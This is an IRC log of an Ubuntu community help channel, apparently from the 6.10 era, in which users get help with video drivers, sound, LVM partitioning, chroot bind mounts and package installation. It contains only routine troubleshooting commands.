[10:14] <livingdaylight> who do i approach if i want Ubuntu to add an application in repositories?
[10:14] <erisco> rogue780, in some ways I am uncertain to what is failing here
[10:15] <pike_> livingdaylight: what app?
[10:15] <jmdc_> pike_, I turned off the wpa, and it still didn't work.
[10:15] <livingdaylight> pike_, Songbird http://www.songbirdnest.com/
[10:15] <killown> do anyone know any program simulator effects guitar?
[10:15] <richardson183> bigtoe:>so....
[10:16] <pike_> jmdc_: any recent upgrades?
[10:16] <foobarian> killown, i don't know by name, but there are a lot on the web, just google them
[10:16] <erisco> rogue780, now the light is going on the blank disk... but nothing is happening
[10:16] <BigToe> richardson183, I'm stuffed :(
[10:16] <richardson183> bigtoe:>what do you mean
[10:16] <jmdc_> pike_, its a new computer. wireless with wpa worked at a friend's
[10:16] <BigToe> richardson183, I have no more ideas
[10:17] <richardson183> bigtoe:>oh
[10:17] <rogue780> erisco, I say you try replacing the drive
[10:17] <livingdaylight> pike_, ?
[10:17] <petafile> Can someone please help me with my soundcard!!!
[10:17] <Dionysos22> whats the command for checking your kernel version
[10:17] <Dionysos22> ?
[10:17] <livingdaylight> Does anyone know the process of requesting an application to be added to repositories?
[10:17] <jerp> in Aptitude, in the terminal graphics interface, on the left margin, what does the capital A next to the lowercase i mean?   (I know the lowercase i means the package is 'installed')
[10:17] <jrib> Dionysos22: uname -r
[10:17] <erisco> rogue780, rofl. So I eject it, it takes a while... makes a few noises... and comes out. Then I stick it back in and try it over again. It is now burning right now
[10:17] <Dionysos22> thanks
[10:18] <JoshJ> livingdaylight: what application is it?
[10:18] <JoshJ> is it fully maintained?
[10:18] <rogue780> erisco, sweet
[10:18] <livingdaylight> pike_, you asked me a question
[10:18] <jerp> there isn't a notation for a capital A in the man pages
[10:18] <erisco> rogue780, perhaps my cdrom drive has attitudes...
[10:18] <JoshJ> etc.. i think #ubuntu-dev or devel is what you want
[10:18] <livingdaylight> JoshJ, Songbird http://www.songbirdnest.com/
[10:18] <JoshJ> both work, actually
[10:18] <erisco> rogue780, it could have just been in a bad mood for a while. Same thing has happened on windows though
[10:18] <livingdaylight> ok
[10:18] <richardson183> does anybody else know how to make a scanner work through the parallel port?
[10:18] <jrib> jerp: http://people.debian.org/~dburrows/aptitude-doc/en/ch02s02s02.html
[10:18] <jerp> thanks jrib
[10:18] <erisco> rogue780, I'll try CDs for a while and they wont work. I'll do some stuff for a while, come back to it, and now they are being read again
[10:18] <pike_> livingdaylight: let me play with it a bit
[10:19] <richardson183> does anybody else know how to make a scanner work through the parallel port?
[10:19] <msikma> Hi there, does anyone know the apt command to find and repair dependency problems?
[10:19] <erisco> rogue780, I don't know if this is the drive or not. It sounds like it... but if it was truly failing then why does it randomly work... and why would it work at all?
[10:19] <rogue780> richardson183, have you looked up sane?
[10:19] <JoshJ> rogue780 : i directed him to that when he first asked :\
[10:19] <erisco> rogue780, it is successfully writing at 6MB a second right now =\
[10:19] <livingdaylight> pike_, then take this useful link http://tinyurl.com/y6fwwu gives you a hack for creating the application menu for songbird
[10:19] <rogue780> erisco, because the digital gods are a pissy bunch, subject to PMS
[10:20] <jmdc_> pike_, Thanks for your time. I'm going to restart all the network related hardware (and sacrifice a goat to the random number god)
[10:20] <richardson183> rogue780:>as joshj said yes but still nothing
[10:20] <erisco> rogue780, haha
[10:20] <erisco> rogue780, time for me to back things up and put 6.10 on this thing now!
[10:21] <rogue780> richardson183, have you run xsane?
[10:21] <erisco> rogue780, maybe all my networking, computer shutdown, and CDrom troubles will melt away...
[10:21] <rogue780> erisco, there's always hope
[10:21] <erisco> rogue780, ubuntu seems to randomly not be able see other computers on the network... so strange
[10:21] <richardson183> rogue780:>yes but it can't find the scanner
[10:21] <erisco> well bye all! coming back with 6.10... the latest and greatest
[10:21] <erisco> no one release 6.15 on me, yet
[10:22] <un_operateur> little does he know 7.04 is on it's way
[10:23] <Gokul> how do I install older version of some package via apt, for instance the latest version of mozilla-thunderbird that's available via apt is 1.5 or something, what do i do if i want to install one version older via apt?
[10:23] <rat_poison> hello room, need help
[10:23] <jrib> Gokul: sudo aptitude install package=version
[10:23] <rat_poison> I want to install alsa 1.0.14-rc1
[10:23] <un_operateur> Gokul, sudo aptitude install package=version_number
[10:23] <rat_poison> but I'm a total linux noob
[10:23] <bob[1] > hey all
[10:24] <crimsun> rat_poison: so download the tarball from upstream and compile it. You'll need to install the 'build-essential' and 'linux-headers-$(uname -r)' packages using Synaptic first.
[10:24] <bob[1] > hey
[10:24] <bob[1] > how to change my nickname?
[10:24] <jrib> bob[1] : /nick foo
[10:24] <JoshJ> /nick newnick
[10:24] <rat_poison> tarball already downloaded
[10:24] <camerong> thanks
[10:25] <camerong> a little bit of info about my problem:
[10:25] <rat_poison> but I don't know how to compile it to the kernel
[10:25] <camerong> i burned the latest alternative install cd to give ubuntu a shot .. (im on windowsxp now)
[10:25] <deoryp> jrib are you still around?
[10:25] <camerong> im installing the latest ubuntu.. and used to get a no screens found error.. so i changed my device to MESA in the xserver configuration file using "sudo nano /path" etc to edit and save it
[10:25] <jrib> deoryp: yes, what's up?
[10:25] <camerong> VESA* i mean
[10:26] <deoryp> jrib i did the edgy upgrade, but now my nvidia driver has a version mismatch with the kernel
[10:26] <camerong> now i get a new error:AddScreen/ScreenInit failed for driver 0
[10:26] <camerong> XIO: fatal error 104 (connection reset by peer) [... and then some other stats were here, but they were all 0 and seemed relatively trivial] 
[10:26] <camerong> END OF ERROR MESSAGE
[10:26] <dromer> #ubuntu-nl
[10:26] <camerong> now i posted about this at ubuntuforums.org... but no one there seems able to help me!
[10:26] <camerong> im really hoping someone here will so that i can give ubuntu a shot
[10:27] <camerong> anyone have any ideas?
[10:27] <deoryp> jrib ... i am not sure what to do. i tried reinstalling the nvidia driver but apt claims it is the newest
[10:27] <jrib> deoryp: k, did you try:
[10:27] <jrib> !xconfig | deoryp
[10:27] <ubotu> deoryp: To reconfigure your X server, open a console and type "sudo dpkg-reconfigure xserver-xorg". To configure only the driver and resolution, type: "sudo dpkg-reconfigure xserver-xorg -phigh".
[10:27] <camerong> anyone know anything about my problem
[10:27] <camerong> ? im using a factory-built xps 400 from dell
[10:29] <camerong> http://ubuntuforums.org/showthread.php?p=1986182 is the thread url
[10:29] <reverendnathan> Hello
[10:29] <Lenaud01> hi
[10:29] <reverendnathan> I installed ubuntu VIA the alternitive CD, and it still does not recognise my mouse and keyboard!
[10:30] <reverendnathan> They are connect VIA PS/2, and everything else is go!
[10:30] <camerong> can anyone help me with my problem? ive been trying to fix it for days
[10:30] <stefg> camerong: http://ubuntuforums.org/showthread.php?t=306348&page=2 Google is your friend, btw
[10:30] <toulouse> hey guys why cant the live cd connect to the internet?
[10:31] <deafboy> can anyone help me configure my sound card?
[10:31] <deafboy> i have drivers installed
[10:31] <toulouse> or any live cd's  in general
[10:31] <camerong> stefg thanks im checking the link out now
[10:31] <Lenaud01> is it a setting in apache if I want to have a 2nd website that answers on a differnt port? example www.mysite.com (pulls up normal site) www.mysite.com:2083 (pulls up admin page)
[10:31] <riotkittie> i'm tempted to beat a copy of xorg.conf ... just so i can take it outside and beat it with a tire iron :\
[10:31] <pike_> reverendnathan: tried "sudo dpkg-reconfigure xserver-xorg" yet ?
[10:31] <Lenaud01> toulouse I have gotten live cds to connect to the internet
[10:31] <toulouse> how man?
[10:31] <un_operateur> Lenaud01, you create a virtual site that listens on the different port
[10:31] <pike_> reverendnathan: wait doesnt recognize keyboard?
[10:31] <Lenaud01> just popped it in
[10:32] <Lenaud01> I used flax
[10:32] <deafboy> anyone have an hda-intel sound card?
[10:32] <deoryp> jrib ok, restarting
 I downloaded the necessary packages, how do I proceed?
[10:32] <reverendnathan> pike_ No... how any I supposed to type something without a keyboard?
[10:32] <Lenaud01> ubuntu im sure can do it
[10:32] <toulouse> Lenaud01: which oh, i want to do this at my school
[10:32] <Lenaud01> I always just install ubuntu
[10:32] <Lenaud01> since thats my fav os
[10:32] <reverendnathan> pike_: It only recoginized it in the install; thereafter, the support lifted
[10:32] <toulouse> Lenaud01: i can never get ubuntu to connect to the internet, i dunno why, after it's installed it does
[10:32] <jordo23> un_operateur: Hey! IT WORKS!!!
[10:33] <pike_> reverendnathan: 6.06 or 6.10?
[10:33] <un_operateur> jordo23,  :) nice
[10:33] <Lenaud01> thanks un_operateur I will have to look up how to do that thanks for the info :)
[10:33] <reverendnathan> pike_ 6.10 I presume
[10:33] <un_operateur> jordo23, so no problemos so far at all?
[10:33] <un_operateur> jordo23, thanks, that's much appreciated :)
[10:34] <riotkittie> wahhhhh.
[10:34] <jordo23> un_operateur: Yeah.....a couple of freezes....something to do with X or the flash code coming in from certain websites, but for the most part works great
[10:34] <Lenaud01> toulouse what happens when you run ifconfig in shell?
[10:34] <camerong> stefg il try that advice now.. i sure hope it works!
[10:34] <camerong> thanks a bunch man
[10:34] <riotkittie> i give up on cloning my screen. ;\
[10:34] <camerong> il be back soon
[10:34] <deafboy> anyone help with sound card por favor?
[10:34] <deafboy> i have drivers installed
[10:34] <un_operateur> jordo23, that's good to hear -- now that the chroot is working well, you can put other 32 apps you want in it too :)
[10:35] <pike_> reverendnathan: if its a fresh install might be easier to install 6.06 than fool with booting livecd and chrooting etc. 6.06 is the long term support version and is kept up to date
[10:35] <NET||abuse> hey guys, i loaded up edgy on my laptop here, i used the oem install,, was that a bad move?
[10:35] <pike_> reverendnathan: what i use as well.
[10:35] <riotkittie> oem?
[10:35] <JoshJ> woem install of edgy?
[10:35] <un_operateur> jordo23, and i learnt a few things too .. so overall, it's a good thing :)
[10:35] <JoshJ> o_O
[10:35] <livingdaylight> pike_, did you check it out?
[10:36] <riotkittie> double o_O
[10:36] <NET||abuse> yeh, eom install
[10:36] <JoshJ> what OEM is that?
[10:36] <NET||abuse> it's in the dvd boot menu
[10:36] <Lenaud01> anyone ever try beryl?
[10:36] <JoshJ> !beryl
[10:36] <ubotu> Beryl is a window manager that takes advantage of an OpenGL accelerated X environment. See http://forum.beryl-project.org/ - Help in #ubuntu-xgl
[10:36] <astronouth7303> how do I enable ACPI with a server kernel?
[10:36] <jordo23> un_operateur: may have had to do with Beryl
[10:36] <JoshJ> NET||abuse: what OEM did you get it from?
[10:36] <theAdib> we have a VPN to out company that uses preshared keys. Actually there is a WinXP powertools configuration. Is there any tool in ubuntu that I can use?
[10:36] <pike_> livingdaylight: you might ask nice in #ubuntu-devel  seems like a reasonable app
[10:36] <reverendnathan> pike_ So... reinstall, just the terminal... sudo dpkg-reconfigure xserver-xorg ... then apt-get install gdm?
[10:36] <NET||abuse> off linux format magazene :)
[10:36] <NET||abuse> magazine
[10:36] <JoshJ> oh
[10:36] <stefg> !vpn
[10:36] <ubotu> From more information on vpn please refer to https://help.ubuntu.com/community/Gaming_VPN_Using_PPTPD
[10:36] <JoshJ> it's probably just a slightly modified edgy disc
[10:36] <JoshJ> i wouldn't really call it a mistake
[10:37] <livingdaylight> pike_, https://wiki.ubuntu.com/MOTU/Packages/New :|
[10:37] <JoshJ> although if you're a free software zealot you probably would want to use something else instead of that
[10:37] <pike_> reverendnathan: use alternate 6.06 cd and just do the normal install
[10:37] <NET||abuse> yeh, suppose,, anyway,, i was thinking there'd be a first boot setup wizard or some such when i booted up
[10:37] <JoshJ> mainly because of the fact that they may have preloaded apps you didn't want
[10:37] <JoshJ> that said i suggest you /whois yourself and change that
[10:37] <pike_> livingdaylight: compiled it yet?
[10:37] <un_operateur> jordo23, errm, it should work .. but beryl might be a little tricky .. let us know how it works
[10:37] <reverendnathan> pike_: So you're saying there is a difference between 6.06 and 6.10?
[10:38] <livingdaylight> pike_, can't seem to register an account to be able to
[10:38] <astronouth7303> and what's the difference between linux-server and linux-generic?
[10:38] <riotkittie> hahaha
[10:38] <daedra> 6.06 = Long Term Support
[10:38] <JoshJ> linux-server is for servers i imagine
[10:38] <un_operateur> daedra, errm ,,, there's a non-LTS version of dapper too
[10:38] <daedra> 6.06.1
[10:38] <daedra> fffffine
[10:38] <stefg> !generic | astronouth7303
[10:38] <ubotu> astronouth7303: Background to the decision to replace -686, k7 and -smp kernels with -generic can be found here https://lists.ubuntu.com/archives/ubuntu-devel/2006-August/019983.html (the -386 kernel is still available if needed)
[10:38] <pike_> livingdaylight: ill play with source and see how it goes. youll want to submit it formally because i likely wont
[10:39] <kazuka> does anyone know how to sync the resolution of my GDM and my desktop?
[10:39] <Dabian> Hi.  I have a motherboard with onboard wlan.  How do I find out which driver I need to use?  lspci didn't seem to help me.  (I am using 6.10 of ubuntu)
[10:39] <livingdaylight> pike_, k, i'm really enjoying it here. It deserves it i think to be included in ubuntu repos. MOre stable than my banshee
[10:39] <eternaljoy> hi
[10:39] <lun> any help about this? http://ubuntuforums.org/showthread.php?t=337170
[10:39] <stefg> !fixres | kazuka
[10:39] <ubotu> kazuka: The X Window System is the part of your system that's responsible for graphical output. To restart your X, type "sudo /etc/init.d/?dm restart" in a console - To fix screen resolution or other X problems: http://help.ubuntu.com/community/FixVideoResolutionHowto
[10:40] <daedra> !screen
[10:40] <ubotu> screen is a terminal multiplexer. See http://www.kuro5hin.org/story/2004/3/9/16838/14935 and http://en.wikipedia.org/wiki/GNU_Screen
[10:40] <Dabian> mmm .. only questions..
[10:40] <un_operateur> kazuka, gdm works at the best resolution it finds .. the desktop resultion you set is a per-user setting to allow different users to choose differently
[10:41] <kazuka> oh ok
[10:41] <alienseer23> hello, how do I play a dvda in ubuntu?
[10:41] <alienseer23> !dvda
[10:41] <ubotu> Sorry, I don't know anything about dvda - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[10:41] <hairulfr> !gaim
[10:41] <ubotu> Instant Messenger Clients: Gaim (GNOME, http://help.ubuntu.com/community/GaimHowto), Kopete (KDE), both supporting MSN, Jabber, AIM, Gadu-Gadu, Novell Groupwise, ICQ and IRC.
[10:41] <un_operateur> !css | alienseer23
[10:41] <ubotu> alienseer23: For playing DVD, see http://help.ubuntu.com/ubuntu/desktopguide/C/video.html - "libdvdcss" can be found at http://wiki.ubuntu.com/SeveasPackages
[10:42] <bob[1] > hey im back
[10:42] <bob[1] > stefg thanks for your help so far
[10:42] <jmdc> I can see the wireless lan I want to connect to with iwlist, but I can't bring up the interface. Any ideas of things to try?
[10:42] <camerong> im camerong btw, stefg
[10:42] <Dabian> !wireless
[10:42] <ubotu> Wireless documentation can be found at https://help.ubuntu.com/community/WifiDocs
[10:43] <alienseer23> I can play all sorts of dvd's, but this only has an audio ts folder...is there anything I can do?
[10:43] <camerong> so i tried to do "sudo apt-get install xorg-driver-fglrx" but it said it couldnt find the fglrx driver?
[10:43] <camerong> any ideas?
[10:43] <jordo23> un_operateur: Sorry.....had phone call....it's my birthday!!
[10:43] <un_operateur> jordo23, hey, happy burfday dude .. have a blast :d
[10:44] <jordo23> un_operateur: Tonight I am expecting to vomit.....or rather early tomorrow morning...
[10:44] <jordo23> :)
[10:44] <un_operateur> ha ha ..
[10:44] <HairyDude> I found some forum threads about flash and nspluginwrapper, so I installed the latter and tried to use it on the flash 9 plugin. but apparently the flash 9 plugin isn't a valid netscape plugin, is that right?
[10:44] <OrangeOrange> !fixres
[10:44] <ubotu> The X Window System is the part of your system that's responsible for graphical output. To restart your X, type "sudo /etc/init.d/?dm restart" in a console - To fix screen resolution or other X problems: http://help.ubuntu.com/community/FixVideoResolutionHowto
[10:44] <msikma> Hi there, does anyone know the apt command to find and repair dependency problems?
[10:44] <jordo23> un_operateur: Then only thing I have left to do is tell 32 bit Konq to find my /media dir right?
[10:45] <jrib> msikma: apt-get install -f
[10:45] <juanca777_> hi everyone, anyone knows where i ca get detailed information about the files and directories in "/proc"?
[10:45] <jordo23> un_operateur:  From what I remember this is done by editiing /etc/fstab
[10:45] <un_operateur> jordo23, errm, make a new fstab entry for it .. copy and modify one of the earlier 'bind' lines
[10:45] <un_operateur> jordo23, yep, precisely
[10:45] <jordo23> un_operateur: And I do that inside chroot right?
[10:45] <camerong> stefg or anyone else who was helping me eaerlier.. any ideas why icant get the driver-fglrx package and install it?
[10:45] <un_operateur> jordo23, errm, no, outside the chroot ..
[10:45] <Dabian> !nforce5
[10:45] <ubotu> Sorry, I don't know anything about nforce5 - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[10:46] <deoryp> jrib i get this message from dmesg
[10:46] <stefg> !ati | camer
[10:46] <ubotu> camer: To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto
[10:46] <stefg> !ati | camerong
[10:46] <ubotu> camerong: To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto
[10:46] <un_operateur> jordo23, because you want mount outside the chroot to mount the directories inside the chroot .. processes inside the chroot cannot look outside that container
[10:46] <camerong> thanks ubotu and stefg
[10:46] <konam> someone knows how to make ubuntu mount the floppy disk automatically?
[10:46] <stefg> !ubotu
[10:46] <ubotu> I am ubotu, all-knowing infobot. You can browse my brain at http://bots.ubuntulinux.nl - Usage info: http://wiki.ubuntu.com/UbuntuBots
[10:46] <camerong> il look at that
[10:47] <jordo23> un_operateur: How do I edit the file?
[10:47] <Dabian> konam : If its possible (with existing software), I guess automounter might be worth checking out.
[10:47] <jordo23> un_operateur: Can't seem to  find it....
[10:47] <un_operateur> jordo23, heh .. gksudo gedit /etc/fstab
[10:47] <deoryp> jrib :API missmatch:client with # and API with a diffrent #. For nvidia
[10:47] <un_operateur> jordo23, make sure you are doing this outside the chroot tho
[10:47] <konam> Dabian mmm, thanx, i gonna check it out
[10:48] <jordo23> un_operateur: If I am outside chroot wont it edit my main cfg's fstab? Or is that the intention?
[10:48] <jordo23> un_operateur: Oh yeah.....found it....
[10:48] <un_operateur> jordo23, if you really think about it .. that is the intention :)
[10:48] <xxhell> Hey guys
[10:48] <hairulfr> Yes, thank you ubuntu - no other distro I've tried even comes
[10:48] <hairulfr> close
[10:49] <jordo23> un_operateur: is this the correct line to add then?  >>   /media /var/chroot/media none bind 0 0
[10:49] <NET||abuse> phew,, into xchat, much neater for irc
[10:49] <xxhell> Anyone knows how i can have 1440x900 res on my nvidia 5200?
[10:49] <un_operateur> jordo23, sounds good, yep :)
[10:50] <un_operateur> jordo23, after you save the file .. make sure you do this -- sudo mount -a
[10:50] <jerp> xxhell, I got it when I finally load the latest driver
[10:50] <jordo23> un_operateur: Then should I fire up konq?
[10:50] <HairyDude> is there any possibility of running flash 9 on amd64 except in a chroot?
[10:50] <davmor2> Greatred is it widescreen
[10:50] <un_operateur> jordo23, yep .. :)
[10:51] <jordo23> un_operateur: What exactly is fstab anyways?
[10:51] <jerp> I sue an nvidia FX 5600
[10:51] <jerp> use
[10:51] <xxhell> jerp, from where didi u download it? synaptic, nvidia?
[10:52] <jerp> I believe the latest driver is usable for any card that has a digital port.  at nvidia 9746
[10:52] <jordo23> un_operateur: I did that and can see the folders in my /media/sdb1 drive, but they all have locks over them. When clicked on they say they don't exist anymore....
[10:52] <un_operateur> jordo23, is that drive mounted in the chroot?
[10:53] <r0bby> ubotu, error 17
[10:53] <ubotu> Sorry, I don't know anything about error 17 - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[10:53] <jordo23> un_operateur: I was assuming adding the line with /media in it would mount all....do I have to add separate lines for each drive?
[10:53] <r0bby> ubotu, grub
[10:53] <ubotu> grub is the default Ubuntu boot manager. Lost grub after installing windows: https://help.ubuntu.com/community/RecoveringUbuntuAfterInstallingWindows - Making GRUB floppies & other GRUB howtos: https://help.ubuntu.com/community/GrubHowto
[10:53] <un_operateur> jordo23, if i werre you, i'd mount all the drives under media  by adding entries into fstab .. here's something that can generate the lines for you so you can copy and paste them in .. for i in `ls -1 /media`; do echo -e "/$i\t/var/chroot/media\tnone\tbind\t0\t0"; done
[10:53] <r0bby> GAH
[10:54] <jordo23> un_operateur: There's only two....I'll just do it manually...
[10:54] <un_operateur> jordo23, TMTOWTDI :)
[10:54] <davmor2> r0bby can not mount selected partition
[10:54] <stefg> un_operateur: cool way of avaoding awk :-)
[10:55] <un_operateur> stefg, what's awk? :p
[10:55] <stefg> !gawk
[10:55] <ubotu> gawk: GNU awk, a pattern scanning and processing language. In component main, is optional. Version 1:3.1.5.dfsg-4 (edgy), package size 454 kB, installed size 1940 kB
[10:55] <un_operateur> !mawk
[10:55] <ubotu> mawk: a pattern scanning and text processing language. In component main, is required. Version 1.3.3-11ubuntu2 (edgy), package size 78 kB, installed size 228 kB
[10:55] <konfused> !emacs
[10:55] <ubotu> Text Editors: gedit (GNOME), Kate (KDE), mousepad (Xfce4) | Terminal-based editors: vi/vim, emacs, and nano (user-friendly). | HTML/CSS editors: !html | Programming: !code
[10:55] <jordo23> un_operateur: What the heck does that mean?  :)   It worked BTW...
[10:56] <un_operateur> mawk sounds cooler .. takes up less space .. but is as equally as cumbersome as gawk
[10:56] <un_operateur> jordo23, TMTOWDI -- there's more than one way to do it
[10:57] <Super_Pollos> hello, im a ubuntu/linux newbie and i recently tried Ubuntu with a live CD but when ubuntu left its loading screen my monitor tells me it sout of range, can anyone help?, I know this is a very basic issue
[10:57] <msikma> Super_Pollos: hmm, I see, that means it's loading a resolution that your monitor can't handle.
[10:58] <tweakism> OK, how about this.  I need to make a CD, but it has to have a FAT12, 16, or 32 filesystem.  I only need to put one little file on it.  But I can't figure out how to make a fat fs image file.
[10:58] <stefg> make that best-hyped
[10:58] <Super_Pollos> my monitor can handle a max of 1280x1024 and a min of 640x480
[10:58] <jordo23> stefg: True.....but for good reasons ! :)
[10:58] <un_operateur> the only time i ever use awk is when i do something like --  aptitude search apache | grep -i ^i | awk '{print $2}'    to get a list of installed packages
[10:58] <msikma> Super_Pollos: I'm not sure if it can be easily fixed from the Live CD before you boot up, but at the very least you can press CTRL+ALT+F1 to open up a text terminal.
[10:59] <un_operateur> I cant be asked to read through aptitude's own documentation -- it's huge
[10:59] <msikma> From the text terminal, you could fix things up, but that's difficult for Linux beginners.
[10:59] <phixnay> does compiz work on amd64?
[10:59] <stormchas3r> anyone here good with lvm on a fresh install?
[10:59] <jerp> teak, there is a program in synaptic that writes fat on floppies
[10:59] <Super_Pollos> is there a boot option becuase the live cd lets you specify boot options
[10:59] <jerp> tweak, there is a program in synaptic that writes fat on floppies
[10:59] <squidly> stormchas3r, whats up? I'm pretty good with lvm
[10:59] <Super_Pollos> to change the resolution?
[10:59] <tweakism> jerp: yes, but, it doesn't output to a file.
[11:00] <davmor2> robber_baron yes but you may need to add the argb..... line to get window borders
[11:00] <stormchas3r> squidly, i have 2 120gb drives i want as one,  i dont know how to do it in the partitioner
[11:00] <phr34ck> anyone knows from where I can get tcl-dev and tk-dev packages? I need them in order to install amsn 0.96
[11:00] <un_operateur> phr34ck, is amsn a package in the ubuntu repositories?
[11:00] <jerp> Oh, I must have misread your post
[11:01] <squidly> stormchas3r, well you need to make a lvm group and add both drives to the lvm group
[11:01] <davmor2> tyrion try hitting the auto button on your monitor
[11:01] <||cw> when ssh into my server and running apt-get, i'm getting "dpkg: dpkg - error: PATH is not set.", but "echo $PATH" shows a normal path.  is there some seperate config for apt?
[11:01] <squidly> stormchas3r, are you in the alternate install cd?
[11:01] <phr34ck> un_operateur, I downloaded it off the internet. It's a .tar.gz file and it requires those 2 packages in orderer to get installed.
[11:01] <stormchas3r> squidly, i am doing the server install
[11:01] <stefg> !tcl8.4-dev
[11:01] <ubotu> tcl8.4-dev: Tcl (the Tool Command Language) v8.4 - development files. In component main, is optional. Version 8.4.12-1.1 (edgy), package size 719 kB, installed size 2220 kB
[11:01] <stefg> !tcl8.3-dev
[11:01] <ubotu> tcl8.3-dev: Tcl (the Tool Command Language) v8.3 - development files. In component main, is optional. Version 8.3.5-5 (edgy), package size 569 kB, installed size 1832 kB
[11:01] <squidly> stormchas3r, ahh ok, let me think..
[11:02] <stefg> !tcl8.0-dev
[11:02] <stormchas3r> squidly, kk
[11:02] <ubotu> tcl8.0-dev: Tcl (the Tool Command Language) v8.0 - development files. In component universe, is extra. Version 8.0.5-8.1 (edgy), package size 391 kB, installed size 1128 kB
[11:02] <un_operateur> phr34ck, sudo aptitude install tcl8.4-dev tk-dev
[11:02] <phr34ck> un_operateur, thanks.
[11:02] <Jordan_U> I have a .mov file that doesn't play correctly in VLC Xine Totem or Mplayer, it plays the first couple seconds then screws up
[11:02] <NET||abuse>  hmm, i'm getting errors on my terminals, something about "perl.warning: Setting locale failed."
[11:02] <NET||abuse> in various part
[11:02] <NET||abuse> parts
[11:02] <squidly> stormchas3r, its been a bit sence I did a install, now i'm assuming you dont want raid for the drives (that or its alreay setup)
[11:02] <stormchas3r> right
[11:02] <stormchas3r> just one big 240gb drive
[11:02] <phr34ck> tk-dev is wrong though.
[11:02] <un_operateur> NET||abuse, i think you need to install the !locales package
[11:03] <NET||abuse> !locales
[11:03] <ys76> get yourself?
[11:03] <ubotu> To set up and configure your locales, see https://help.ubuntu.com/community/LocaleConf
[11:03] <squidly> stormchas3r, look at the top of the screen you should see something that says setup LVM manualy?
[11:03] <NET||abuse> thanks un_operateur
[11:03] <stefg> NET||abuse: don't worry... UTF-8 is too new for some programmers
[11:03] <stormchas3r> squidly, yup
[11:03] <squidly> stormchas3r, select that
[11:03] <NET||abuse> :) hehe, UTF-8 would be nice ;)
[11:03] <NET||abuse> ahh well
[11:04] <squidly> stormchas3r, what does it ask next, (i dont have the screens in front of me
[11:04] <un_operateur> stefg, i hope you arent implying perl can't do UTF8? :)
[11:04] <||cw> hm, interesting.  I was logged in as root, but using sudo seems to have fixed it (it's an embeded type system, users are possible, or at least can't be used)
[11:04] <tweakism> argh, if only I had a floppy drive.
[11:04] <Anderbubble> I'm trying to use "matplotlib, but get an ImportError: No module named numpy" when I try to import pylab. I have Numeric and numarray both installed.
[11:04] <stormchas3r> squidly, lvm confi menu,  modify vol groups or mod log volumes
[11:04] <tweakism> how do they make the fat32 livecds?
[11:05] <mzanfardino> I need a utility to create an ISO image of a CD.  What can I use in GNOME?
[11:05] <squidly> stormchas3r, modify vol groups
[11:05] <stormchas3r> mzanfardino, k3b
[11:05] <stefg> !k3b | mzanfardino
[11:05] <ubotu> mzanfardino: k3b is a feature-rich and user-friendly burning application for KDE (and, as all KDE applications, works fine on GNOME). For a guide, see https://help.ubuntu.com/community/K3BHowto
[11:05] <||cw> tweakism: what would you do with a floppy drive?
[11:05] <un_operateur> !tk8.3-dev | phr34ck
[11:05] <stormchas3r> squidly, kk
[11:05] <ubotu> tk8.3-dev: Tk toolkit for Tcl and X11, v8.3 - development files. In component main, is optional. Version 8.3.5-6ubuntu1 (edgy), package size 636 kB, installed size 1968 kB
[11:05] <tweakism> ||cw: put the bios update on it in a way my mobo could understand.
[11:05] <jerp> this page is a howto for compiz on amd64 ........... http://ubuntuforums.org/showthread.php?t=133427
[11:05] <stormchas3r> squidly, kk, i made the group
[11:05] <tweakism> ||cw: it only reads fst32, but it'll read cdroms.
[11:06] <||cw> tweakism: ah, well, that;s different.  some mobo's will deal with a floopy image burnt as a el torino bootable cd
[11:06] <squidly> stormchas3r, ok does it bring you back to the first screen asking about the vol groups or log groups?
[11:06] <Jordan_U> tweakism: el torino
[11:06] <camerong> stefg, i just checked out the link u gave me
[11:06] <camerong> i dont have internet yet on my ubuntu machiene.. so is it still possible?
[11:06] <stormchas3r> squidly, ya, and i made the log group too, now i am bak to the partioner screen and the lvm was created,  this is where i am lost
[11:06] <camerong> cuase i have t odo the apt-get things?
[11:07] <phixnay> jerp: thanks
[11:07] <||cw> though I had a tyan tiger that would not, bios off cdrom == bricked, however, it had a nice "if bricked, look for special floopy" secondary bios
[11:07] <Alarm> how can i see my kernel version ?
[11:07] <stefg> uname -r
[11:07] <kohr_> stefg, is ext3 still current? or is there ext4 now? I am going to format it 200 ext3 50 ntfs
[11:07] <squidly> stormchas3r, ok you should have a new "hdd" that is named your vg and vl
[11:07] <jerp> np
[11:07] <stormchas3r> squidly, correct
[11:07] <Jordan_U> kohr_: Ext4 is still just for developers
[11:08] <stormchas3r> squidly, this is where i havent a clue
[11:08] <jamesbrose> When I try to change my hostname it doesn't 'register' with the rest of the network, how can i make it update so when i go http://hostname/ it works.. Thanks..
[11:08] <tweakism> ||cw: Jordan_U: No, it's not a bootable bios update, it'd just a file.  the bios has the ability in the setup to find devices, read filesystems to find the bios update file, kinda like grub.  but it can only handle fat12/16/32.
[11:08] <stefg> kohr_: ext4 is future, not present
[11:08] <squidly> stormchas3r, set that up like its your a normal drive
[11:08] <squidly> stormchas3r, does that partission say 240gb?
[11:08] <kohr_> stefg, k, formatting
[11:08] <||cw> tweakism: does it support usb drives?
[11:08] <tweakism> even if it would read the bootable floppy image on the cd, which I doubt, I still don't have a way to make the floppy image.. that's my problem.
[11:08] <stormchas3r> squidly, ok, yes it does
[11:08] <camerong> stefg,  so i pretty much cant use ubuntu?
[11:08] <squidly> stormchas3r, ok now select is and decide where to mount it
[11:09] <stefg> camerong: i don't understand
[11:09] <stormchas3r> squidly, like root, and all?
[11:09] <||cw> tweakism: you can download bootable floppy images, google
[11:09] <tweakism> ||cw: heh, yeah, but I have NOTHING.  I've searched an entire office, and I have 1 broken USB floppy drive, and 1 broken USB key thingy, and 1 CF reader w/ no card, and 1 important USB HDD formatted as HFS+
[11:09] <squidly> stormchas3r, yep
[11:09] <kohr_> stefg, why is it greyed out ? it works for sata drives, right?
[11:09] <tweakism> ||cw: but you can't edit things you mount loopback.
[11:09] <squidly> stormchas3r, you need to tink of the vg and vl as a virutal HDD
[11:09] <||cw> sure you can
[11:09] <tweakism> how?
[11:09] <stormchas3r> squidly, kk, i need swap too
[11:09] <||cw> um, mount it rw
[11:09] <squidly> stormchas3r, that is now lvm works it makes a new "hdd"
[11:10] <||cw> I'm pretty sure I've done it
[11:10] <squidly> stormchas3r, just use a swapfile.. that is what I do
[11:10] <stormchas3r> squidly, mnice
